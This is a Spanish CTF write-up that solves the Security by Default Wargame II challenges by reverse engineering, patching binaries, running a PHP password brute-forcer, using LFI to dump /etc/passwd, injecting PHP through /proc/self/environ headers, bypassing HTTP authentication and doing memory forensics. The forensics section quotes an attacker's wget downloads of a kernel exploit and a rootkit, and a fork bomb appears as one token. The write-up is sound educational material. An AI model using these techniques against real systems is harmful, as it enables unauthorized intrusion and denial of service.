Soluciones a las pruebas del Wargame II de Security by Default
Autor: NULL Life - http://null-life.com/

keyconsole

Se edito el binario de tal manera que en vez de realizar un open a /dev/random lo hiciera a /dev/rsndom, por lo cual siempre fallaba e iba por su segunda opcion de numero aleatorio, la cual era una funcion que siempre retornaba el mismo numero, 4.

Cuando ejecutamos con strace nuestro binario modificado podemos ver:

```
open("/tmp/3_privatekey_1", O_RDONLY)   = -1 ENOENT (No such file or directory)
write(1, "[-] Your software isn't original"..., 63[-] Your software isn't original, please buy an
original copy.
) = 63
exit_group(0)
```

Se ve que falla el open de ese archivo, el cual simplemente creamos y volvemos a ejecutar la aplicacion:

```
$ touch /tmp/3_privatekey_1
$ ./tmp_key2
[-] Checking if your environment is compatible, please wait ...
[-] System compatible:
    Your*environment_is-fully:compatible_you*can=play.NOW
```

Token: Your*environment_is-fully:compatible_you*can=play.NOW

fatherapple

Antes del main podemos ver una función con un nombre singular: fflussh.
Ejecutamos los siguientes comandos con GDB, al momento del programa entrar al main, hacemos que la siguiente instrucción a ejecutar sea dicha fflussh.

```
$ gdb sig_32
[texto recortado para ahorrar espacio]
Reading symbols from /home/daniel/wgsbd/sig_32...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x80483a8
(gdb) r
Starting program: /home/daniel/wgsbd/sig_32

Breakpoint 1, 0x080483a8 in main ()
(gdb) set $eip=0x080482DE
(gdb) c
Continuing.
 > So cruel, Y0uSt0leMyAppl3s <

Program received signal SIGSEGV, Segmentation fault.
0xffffd8e8 in ?? ()
[daniel@sinfocol wgsbd]$
```

Token: Y0uSt0leMyAppl3s

zeropwn

Con el código del servidor y la lista de contraseñas el reto estaba más que listo. El script utilizado fue:

```
<?php
function bruteforce($password) {
	$socket = fsockopen('wargame.securitybydefault.com', '8008', $errno, $errstr, 30);

	$data  = fgets($socket);
	$data .= fgets($socket);

	preg_match("/xmpp-sasl'\>([^<]+)$/", $data, $match);

	$auth = base64_decode(preg_replace('/\s+/', '', $match[1]));

	preg_match('/nonce=\"(\d+)\"/', $auth, $match);
	$nonce  = $match[1];
	$cnonce = time();
	$nc = '1337';
	$realm = 'war.game.sbd';
	$user = 'zero_cool';
	$pass = $password;
	$digest_uri_srv = 'xmpp/war.game.sbd';
	$qop = 'auth';

	$ha1data = md5("$user:$realm:$pass", true) . utf8_encode(":$nonce:$cnonce");
	$ha1 = md5($ha1data);
	$ha2 = md5("AUTHENTICATE:$digest_uri_srv");
	$md5 = md5("$ha1:$nonce:$nc:$cnonce:$qop:$ha2");

	$response
= "username=\"$user\",realm=\"$realm\",nonce=\"$nonce\",cnonce=\"$cnonce\",nc=\"$nc\",qop=\"$qop\
",digest-uri=\"$digest_uri_srv\",response=\"$md5\",charset=\"utf-8\"";
	$response = base64_encode($response);
	$xml = "<response>$response</response>\n";

	fwrite($socket, $xml);

	$response = '';
	while (!feof($socket))
	$response .= fgets($socket);

	echo 'Password: ' . $password . ' - ' . $response . PHP_EOL;
	fclose($socket);
}

$passwords = file('password');
for ($i = 0; $i < 1000; $i++) // configurable para distribuir el trabajo
	bruteforce(trim($passwords[$i]));
```

La contraseña válida era “unix” generando la siguiente respuesta:

```
<success xmlns='urn:ietf:params:xml:ns:xmpp-
sasl'>SGVyZSBpcyB5b3VyIGRhbW4gZmxhZzogSV9Mb1ZlX0FuZ2VsaW5hX0owTGllXw==
</success>
```

Decodificando: Here is your damn flag: I_LoVe_Angelina_J0Lie_

Token: I_LoVe_Angelina_J0Lie_

stealthehash
Aca te pedia un hash, si le mandabas uno incorrecto te arrojaba el hash correcto repitiendo el proceso varias veces se lograba obtener el token.

Token: OMG_all_hash3s_h4s_b33n_L34K3D!!!!

steeltheshop
En el reto hay una tienda, la cual lista elementos por un id, pero estos id estan hasheados con sha1, podemos analizar desde el id=sha1(1),sha1(2)... y así sucesivamente hasta el sha1(22) donde obtenemos el token del reto.

Token: This_is_th3_flag_of_the_victory

guessit
Analizando el archivo datos.txt con una herramienta para análisis de sustitución mono alfabética llamada SCBSolvr, nos damos cuenta que efectivamente se realizaron sustituciones y buscando la salida en google, vemos que corresponde al fragmento de un artículo publicado en www.securitybydefault.com:
http://www.securitybydefault.com/2010/10/premios-bitacoras-2010-gracias.html

Buscando el charset de la sustitución salieron varios problemas con distribuciones de teclado, dedujimos que se había usado la distribución Dvorak. (http://wbic16.xedoloh.com/dvorak.html)

Luego de varios intentos, descubrimos que el token es la URL del articulo en dvorak.

Token: dyylSzz,,,vo.jgpcyfxfe.uagnyvjrmz2010z10zlp.mcro[xcyajrpao[2010[ipajcaovdymn

routting
Conectandonos por netcat al puerto suministrado obtenemos una conexion a una terminal de un dispositivo Cisco.

```
$ nc wargame.securitybydefault.com 2323
Welcome to SbD Cisco IOS 1.0
Carmen> help
 OPTIONS
 =======
 show running-config
 enable
 version
 help
 quit
Carmen> show running-config !
version 1.0
no service pad
service timestamps debug uptime
no service password-encryption !
hostname Carmen
```

```
enable password 083544471A4816033A0E180B212E2A !
spanning-tree extend system-id !
interface FastEthernet0/1
no ip address
Carmen> quit
bada bin bam bum
```

Descifrando el hash `083544471A4816033A0E180B212E2A` obtenemos el token

Token: this1stHetoken

therabbit

El binario descarga de alguna parte el archivo metienescontento.arj, el cual contiene un archivo que está protegido por una contraseña.
Al analizar las cadenas del binario, encontramos indicios de que el ejecutable contiene un script de Autoit, como es razonable pensar, el archivo fue generado por el mismo Autoit, así que buscamos un Exe2Aut para traer de vuelta el script, la versión más reciente y funcional de dicho programa fue encontrada en este sitio: http://www.therks.com/autoit/install/Extras/Exe2Aut/

Al usarlo se retornó el script del ejecutable, la parte interesante es la que se observa:

```
$URL = "http://wargame.securitybydefault.com/87435aa934eed6022122ae90d5a0e52d/
metienescontento.arj"
$oIE.Navigate( $URL )
sleep(5000)
$SinkObject=0
$oIE.Quit
$oIE=0
$blanco="unsoldo"
GUISwitch ( $GUIMain )
GUICtrlSetData ( $GUIEdit, @CRLF & "End of Internet Explorer Events test." & @CRLF , "append" )
$coneho = "fai"
GUICtrlSetData ( $GUIEdit, "You may close this window now !" & @CRLF , "append" )
While 1
   $msg = GUIGetMsg()
   If $msg = $GUI_EVENT_CLOSE Then ExitLoop
Wend
$vk="car411o"
GUIDelete ()
```

Y las variables aún más interesantes son: $blanco, $coneho y $vk, que al generar combinaciones con ellas obtenemos la contraseña válida del archivo .arj: faiunsoldocar411o

Token: eze_ezpanyolitoSexydem0da

errorz

Se descarga la imagen, se perfila 6 veces con Irfanview (ctrl + s) y sale el token en la parte inferior de dicha imagen

Token: :(){:|:&};:

pizza

Aca probando varios vectores de ataque, se inyecta en el campo ‘Postal Code’ la cadena %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s arrojandonos parte del codigo de la aplicacion codeada en python donde se puede apreciar un usuario admin con nombre de usuario: ‘chucknorrium hyposulfite’ y pwd: ‘ishouldgetalife’ entramos a la opcion dos y nos muestra la frase ‘icountthepepperoni’

Token: icountthepepperoni

stdwut

Se modifico el binario cambiando 0x7418C70424FA por 0xEB18C70424FA con lo cual se saltaba la comprobacion que hacia para mostrar el mensaje "We are not alone here...\n". Despues de esto se ejecuto la aplicacion con strace:

```
strace ./stdwut2
execve("./stdwut2", ["./stdwut2"], [/* 55 vars */]) = 0
[ Process PID=5314 runs in 32 bit mode. ]
uname({sys="Linux", node="blade", ...}) = 0
brk(0)                                  = 0x8afa000
brk(0x8afacd0)                          = 0x8afacd0
set_thread_area(0xff8a86e0)             = 0
brk(0x8b1bcd0)                          = 0x8b1bcd0
brk(0x8b1c000)                          = 0x8b1c000
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xffffffff77cb000
write(1, "Hey, what's up? Standard output "..., 60Hey, what's up? Standard output is pretty 
boring, isn't it?
) = 60
write(1, "I'm giving you the password, but"..., 90I'm giving you the password, but I'll better 
put it in another place. Take it if you can.
) = 90
open("/dev/urandom", O_RDONLY)          = 3
dup(3)                                  = 4
pipe([5, 6])                            = 0
dup(3)                                  = 7
rt_sigaction(SIGALRM, {0x8048c98, [QUIT ILL RT_1 RT_2 RT_3 RT_7 RT_9 RT_11 RT_14 RT_15 RT_18 
RT_19 RT_20 RT_22 RT_23 RT_25 RT_27 RT_29 RT_30 RT_31], SA_STACK|SA_SIGINFO|SA_NOCLDSTOP|
SA_NOCLDWAIT|0x49b60}, NULL, 8) = 0
write(3, "BDUA", 4)                     = -1 EBADF (Bad file descriptor)
write(4, "PUAJ", 4)                     = -1 EBADF (Bad file descriptor)
write(5, "PLOF", 4)                     = -1 EBADF (Bad file descriptor)
write(6, "WAKA", 4)                     = 4
write(7, "BLRB", 4)                     = -1 EBADF (Bad file descriptor)
write(3, "BDUA", 4)                     = -1 EBADF (Bad file descriptor)
write(4, "PUAJ", 4)                     = -1 EBADF (Bad file descriptor)
write(5, "PLOF", 4)                     = -1 EBADF (Bad file descriptor)
write(6, "WAKA", 4)                     = 4
write(7, "BLRB", 4)                     = -1 EBADF (Bad file descriptor)
write(3, "BDUA", 4)                     = -1 EBADF (Bad file descriptor)
write(4, "PUAJ", 4)                     = -1 EBADF (Bad file descriptor)
write(5, "PLOF", 4)                     = -1 EBADF (Bad file descriptor)
write(6, "WAKA", 4)                     = 4
write(7, "BLRB", 4)                     = -1 EBADF (Bad file descriptor)
write(3, "BDUA", 4)                     = -1 EBADF (Bad file descriptor)
write(4, "PUAJ", 4)                     = -1 EBADF (Bad file descriptor)
write(5, "PLOF", 4)                     = -1 EBADF (Bad file descriptor)
write(6, "WAKA", 4)                     = 4
```

```
write(7, "BLRB", 4)                     = -1 EBADF (Bad file descriptor)
write(3, "BDUA", 4)                     = -1 EBADF (Bad file descriptor)
write(4, "PUAJ", 4)                     = -1 EBADF (Bad file descriptor)
write(5, "PLOF", 4)                     = -1 EBADF (Bad file descriptor)
write(6, "WAKA", 4)                     = 4
write(7, "BLRB", 4)                     = -1 EBADF (Bad file descriptor)
close(6)                                = 0
setitimer(ITIMER_REAL, {it_interval={0, 0}, it_value={0, 400000}}, {it_interval={0, 0},
it_value={0, 0}}) = 0
--- {si_signo=SIGALRM, si_code=SI_KERNEL, si_value={int=1, ptr=0x1}} (Alarm clock) ---
close(5)                                = 0
close(3)                                = 0
exit_group(0)
```

Se puede ver que muchas de las operaciones write() fallan, excepto las que dicen WAKA,.

Token: WAKAWAKAWAKAWAKAWAKA

threads

A partir del ejecutable ELF para linux “threads”, y con la herramienta Hex-Rays decompiler se obtiene el código fuente en C.
Este ejecutable se destaca por usar la libreria libgomp (http://gcc.gnu.org/onlinedocs/libgomp), utilizada para la programación paralela a través de hilos.

Analizando el código fuente vemos dos funciones interesantes:

```
* int __cdecl main(signed int a1, int a2);
*  main__omp_fn_0((int)&v4);
```

Dentro de la función main se destaca:

```
  omp_set_num_threads(50);
  if ( a1 > 1 )
  {
        if ( strlen(*(const char **)(a2 + 4)) == 51 )
        {
…..
        GOMP_parallel_start(main__omp_fn_0, &v4, 0);
        main__omp_fn_0((int)&v4);
        GOMP_parallel_end();
…..
  if ( v8 )
        v2 = "Dude that password is pretty cool\n";
  else
        v2 = "My brain is full of billions and billions of fail\n";
….
```

Esto indica que el primer parámetro del ejecutable debe tener una longitud exacta de 50 bytes para ejecutar 50 hilos con la funcion “main__omp_fn_0”.

Dentro de la función main__omp_fn_0 vemos:

```
 v4 = omp_get_num_threads();  ← 50
  result = omp_get_thread_num() * (50 / v4 + (v4 * 50 / v4 != 50)); ← numero de thread + 1
….
      v9 = result;
….
```

```
v5 = omp_get_thread_num();
v8 = v5;
v6 = (long double)v5;
v7 = powf(v6, 3.0);
result = *(_BYTE *)(*(_DWORD *)(*(_DWORD *)a1 + 4) + v8);
if ( (_BYTE)result != (signed int)v7 % 30 + 40 )
{
*(_DWORD *)(a1 + 4) = 0;
result = a1;
*(_DWORD *)(a1 + 8) = v8;
}
++v9;
```

Las variable locales mas importantes son:
* “v8” contiene el número de thread (0 a 49)
*“v7” el cubo de “v8”
* “result” el byte en la posición “v8” del primer parametro.
* “v9” contiene el numero de thread + 1.
Vemos que “result” es comparado con el siguiente valor: v7 % 30 + 40. Si no son iguales, la variable “v8” de la función main es sobreescrita con el valor “0”, por lo que en la función principal, obtendremos el mensaje “*My brain is full of billions and billions of fail*”.

Ahora analizamos al ejecutable con gdb:

Colocamos un break en la instruccion principal:
```
(gdb) b main
Breakpoint 1 at 0x8048608
```

Ejecutamos el binario con un parametro de 50 caracteres:
```
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x08048608 in main ()
```

Buscamos la llamada a la funcion ejecutada en los threads:
```
(gdb) disass
......
   0x0804869e <+154>:   mov   %eax,(%esp)
   0x080486a1 <+157>:   call   0x80486e6 <main._omp_fn.0>
   0x080486a6 <+162>:   call   0x8048510 <GOMP_parallel_end@plt>
```

Colocamos un break al inicio de la misma y continuamos la ejecucion:
```
(gdb) b *0x80486e6
Breakpoint 2 at 0x80486e6
(gdb) c
```

Buscamos la funcion de comparacion inmediatamente posterior al llamado a powf:
```
Breakpoint 2, 0x080486e6 in main._omp_fn.0 ()
(gdb) disass
...
   0x0804874e <+104>:   call   0x8048540 <powf@plt>
...
   0x080487bd <+215>:   movzbl (%eax),%eax
   0x080487c0 <+218>:   cmp   -0x11(%ebp),%al
```

```
   0x080487c3 <+221>:   jne   0x80487d4 <main._omp_fn.0+238>
   0x080487c5 <+223>:   addl   $0x1,-0xc(%ebp) ← corresponde a ++v9 en el código C

    0x080487c9 <+227>:   cmp  %ebx,-0xc(%ebp)
```

Colocamos un break en la comparacion, y continuamos la ejecucion:

```
(gdb) b *0x080487c0
Breakpoint 3 at 0x80487c0
(gdb) c
Breakpoint 2, 0x080486e6 in main._omp_fn.0 ()
```

Vemos el numero de thread, almacenado en la pila (v9):

```
(gdb) x/b $ebp-0x11
0xf0de32e7:    55
```

Vemos el numero de thread, almacenado en la pila (v9):

```
(gdb) x/b $ebp-0xc
0xf0de32ec:    15
```

Esto indica que el byte 15 del primer parámetro del ejecutable ser el ASCII 55.

Continuamos la ejecución y obtenemos el resto de los valores.

```
(gdb) c
Continuing.

Breakpoint 1, 0x080487c0 in main._omp_fn.0 ()
(gdb) x/b $ebp-0x11
0xf5ded2e7:    45
(gdb) x/b $ebp-0xc
0xf5ded2ec:    5
(gdb)
…
```

Obtenidos los 50 caracteres y sus respectivas posiciones, armamos el token, y lo probamos:

*./threads "()0C,-.5*123:/678?4;<=D9@AB+>E()0C,-.5*123:/678?4;"*
Dude that password is pretty cool

Token: ()0C,-.5*123:/678?4;<=D9@AB+>E()0C,-.5*123:/678?4;

authissue

Con el stream del pcap se pudo capturar la esencia de la prueba:

```
auth
46876049595
f6f64fc737d643ab070d09626e5a384b
Ok the token is: Enrique Iglesias FTW
```

El código final utilizado fue:

```
<?php
$username = 'Campusero02';
$password = 'ReallyLikeIt';

$fp = fsockopen('217.124.209.253', 3334);
if ($fp) {
        fwrite($fp, "auth\n");
```

```
        $token = rtrim(fgets($fp));
        fwrite($fp, hash_hmac('MD5', $username . $token, $password) . "\n");
        echo fgets($fp);
        fclose($fp);
} ?>
```

La respuesta del servidor fue:
Ok the token is: BigArea
Token: BigArea

phrygian

phrygian es una escala musical, dentro del programa se generaba una cadena 'C phrygian' que hace referencia a la escala phrygian en Do. El asunto estaba en obtener los mismos intervalos de tiempo de dicha escala, para esto leía las 8 primeras notas musicales. Luego tomaba la nota siguiente y esperaba formar con eso la escala de phrygian en Do, por lo que se le paso la primera nota de dicha escala es decir C (Do).

Sabiamos que ibamos por buen camino cuando generamos un intervalo adecuado (+1 +2 +2 +2 +1 +2 +2), porque la función NOTE luego del GetMD5 retornaba un texto leible: "This is a profesional interval, good way bro :)"

Finalmente, al dar la clave con EBGDAE nos retornaba una respuesta donde nos indicaban que ibamos bien pero que aún faltaba, así que al intentarlo con EADGBE obtuvimos la respuesta adecuada.

Nuestra clave (key.phrygian) es:
EADGBED7E0F7G7A7B0C7D7C0F2G2G7A7C2C7D7A7C2C7D7F2G2G7D7F2G2G7A7C2C7
G2G7A7C2C7D7F2C2C7D7F2G2G7A7F2G2G7A7C2C7D7

El ejecutable nos muestra el siguiente mensaje:
You are a good cracker your award is the source code of the crackme :-), dump this exe to disk and search the source code
Here your token: b0b64bccd65ab75795094fbed3e9386c

El código fuente original pendiente por publicar :)

Token: b0b64bccd65ab75795094fbed3e9386c

90sdancing

Como en el caso anterior, solo que esta vez se trataba de un script de python embebido, extraemos los recursos, con el sitio www.dephyton.com se decompila el crackme.pyc mostrándonos el siguiente código:

```
import sys
from ctypes import c_int, WINFUNCTYPE, windll
from ctypes.wintypes import HWND, LPCSTR, UINT
prototype = WINFUNCTYPE(c_int, HWND, LPCSTR, LPCSTR, UINT)
paramflags = ((1, 'hwnd', 0),
```

```
 (1, 'text', 'Hi'),
 (1, 'caption', None),
 (1, 'flags', 0))
MessageBox = prototype(('MessageBoxA',
 windll.user32), paramflags)
aeiou = 'find another way'
if ((len(sys.argv) <= 1) and MessageBox(text="Couldn't find haxcrap.dll", caption='Error loading
DLL')):
        sys.exit(0)
if (sys.argv[1] == 'Captain hollywood'):
        print 'Ok your token is:',
        print aeiou
        sys.exit(0)
else:
        MessageBox(text="Couldn't find haxcrap.dll", caption='Error loading DLL')

#+++ okay decompyling
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
```

Y bueno, más claro que el agua no puede ser, “Ok your token is:find another way’
Se puede obtener el mismo resultado ejecutando desde la consola: crackme.exe “Captain hollywood”

Token: find another way

frienfed

Siguiendo la pista encontramos el archivo .listing que nos da un listado parcial del directorio

```
drwxr-xr-x 2 fede fede 4.0K 2011-06-23 02:03 4u
drwxr-xr-x 2 fede fede 4.0K 2011-06-23 03:01 catz
drwxr-xr-x 2 fede fede 4.0K 2011-06-23 03:07 docs
-rw-r--r-- 1 fede fede    1 2011-06-23 02:08 get_token.php
-rw-r--r-- 1 fede fede    0 2011-06-23 00:50 index.html
drwxr-xr-x 2 fede fede 4.0K 2011-06-23 03:05 lulz
drwxr-xr-x 1 fede fede 4.0K 2011-06-23 02:05 testtest
```

Ingresando a get_token.php nos dice que se ha generado un nuevo token en el archivo token.php, en la raíz sin embargo, encontramos un mensaje que no es el token y a troll face.

Así que buscamos un poco más, en docs usando el mismo .listing, encontramos un documento del usuario adrlam3 a fed001, diciéndole que el mecanismo (de autenticación) está obsoleto y que hay otras formas de restringir el acceso.

Justamente la carpeta 4u pide autenticación, ingresamos y luego de ver que no funciona con la respectiva cabecera Authorization, probamos diferentes métodos hasta encontrar que el método es el nombre de usuario que espera token.php para mostrar el contenido.

```
C:\Users\Daniel>nc wargame.securitybydefault.com 80 -vv
Warning: inverse host lookup failed for 217.124.209.253: h_errno 11004: NO_DATA
wgsbdwargame.no-ip.org [217.124.209.253] 80 (http) open
adrlam3 /81c86c90ebaa192c99cd75265c6f2ae6/4u/token.php HTTP/1.1
Host: wargame.securitybydefault.com
Connection: Close

HTTP/1.1 200 OK
Date: Sat, 16 Jul 2011 01:50:02 GMT
```

```
Server: Apache
X-Powered-By: PHP/5.3.3-7+squeeze3
Info: success
Vary: Accept-Encoding
Content-Length: 134
Connection: close
Content-Type: text/html

Hey adrlam3!
graet to see u again
see? limit directive is lame
use sorryBradleyMissU as token
you owe me a frapuccino
Regards,
fed001
sent 119, rcvd 345: NOTSOCK
```

Token: sorryBradleyMissU

feellikecsi_rls

Answer the following question:
Get the release name and version of the victim's operative system

Cuando se abre el archivo kcore.dd se puede observar el nombre del kernel, con este se pudo determinar que era un sistema Debian. Se intento buscar primero Ubuntu ya que es una de las más usadas, y en las strings aparece *Ubuntu 10.04 LTS* lo cual corresponde al nombre con que fue liberado esta distribucion.

Token: Ubuntu 10.04 LTS

feellikecsi_knl

Answer the following question:
Obtain the kernel release of the victim's operative system

Abriendo el archivo kcore.dd en las primeras lineas se puede observar la version del kernel en la linea del BOOT, la cual contiene los parametros con que inicio el sistema, la version correspondia a 2.6.32-21-generic-pae

Token: 2.6.32-21-generic-pae

feellikecsi_cve

Answer the following question:
Which CVE was used for rooting the machine? Answer format: CVE-XXXX-XXXX

Para determinar el rootkit que uso el atacante, lo primero que se penso fue que herramientas podria usar este para tener nuevos archivos en el sistema, se empezó por ‘wget’, siendo la mas conocida, al realizar un grep sobre el archivo con la cadena wget aparecian muchas coincidencias, se cambio el filtro por ‘wget h’ y aparecieron las respuestas de este, y otros retos

de forense.

```
wget http://www.exploit-db.com/download/15285 -O exp.c
```

En el source del exploit se ve el CVE-2010-3904

Token: CVE-2010-3904

feellikecsi_iph

Answer the following question:
Which is the IP address of the hacker?

Para encontrar la direccion ip del atacante se hizo grep con una expresion regular para direcciones ip, luego se ordeno esta informacion, se descartarón algunas conocidas e invalidas (8.8.8.8, 8.8.4.4, 127.0.0.1, mascaras de red, etc), y se contaron las que más ocurrencias tenian en el archivo.

```
$ uniq -c ips.txt
     17 46.25.44.195
      1 76.73.4.58
     16 91.121.85.126
      4 91.121.85.232
```

Buscando en el dump la direccion 46.25.44.195 se podia ver que esta direccion habia disparado alertas en el archivo de registro como posible intrusion.

Token: 46.25.44.195

feellikecsi_md5

Answer the following question:
Obtain the md5 of the rootkit installed on the system

Se habia encontrado el siguiente comando ya mediante la busqueda con grep:

```
wget http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/rk.tgz
```

Token: d0e098de3b0e436f934763810cd31189

feellikecsi_ulo

Answer the following question:
Which tool the hacker used for cleaning logs?

Se busco la cadena “chmod +x” en el archivo dumpeado y se encontro “chmod +x /tmp/mig.sh”
Buscando variaciones de mig en el dump se encontro:

********** MIG Logcleaner v2.0 by no1 **********

Token: MIG Logcleaner v2.0 by no1

beepbeep

En la página de ayuda de la compañía ACME encontramos comentado el siguiente código:

```
<!--
// todavia en test
<div class="inside2">
    <ul>
        <li><a href="#"><img src="images/es.png" /></a></li>
        <li><a href="#"><img src="images/uk.png" /></a></li>
    </ul>
</div>
-->
```

Probando con la variable “lang” nos dimos cuenta que era vulnerable a LFI

```
URL=http://wargame.securitybydefault.com:8080/ayuda.php?lang=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
...
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
youAREgettingCLOSERplzCONTINUE:x:1234:1234::/noexistent:/bin/false
```

Como no tenemos acceso a un upload para subir imágenes con código PHP, se usó /proc/self/environ y dos cabeceras HTTP adicionales:

LFI=<?php var_dump(scandir($_GET[‘cmd’])); ?>

LFI2=<?php echo file_get_contents($_GET[‘f’]); ?>

La primera de ellas para listar directorios y la segunda para mostrar el contenido del archivo; obteniendo la ruta que almacenaba el token “/opt/reto/www/_clave_.php” y leyendo el archivo se pudo obtener la respuesta, el cual se escondía tras un comentario:

```
<?php
  echo "Si, aqu&iacute; est&aacute; la clave: <br />\n";
  echo "pero... no esperar&aacute;s en serio que la imprima por pantalla, verdad?<br />\n";
  echo "<br />\n";
  echo "venga que ya casi est&aacute;s!";

  // tu clave --> Environment_Rulz_by_Acme
?>
```

Token: Environment_Rulz_by_Acme

EOF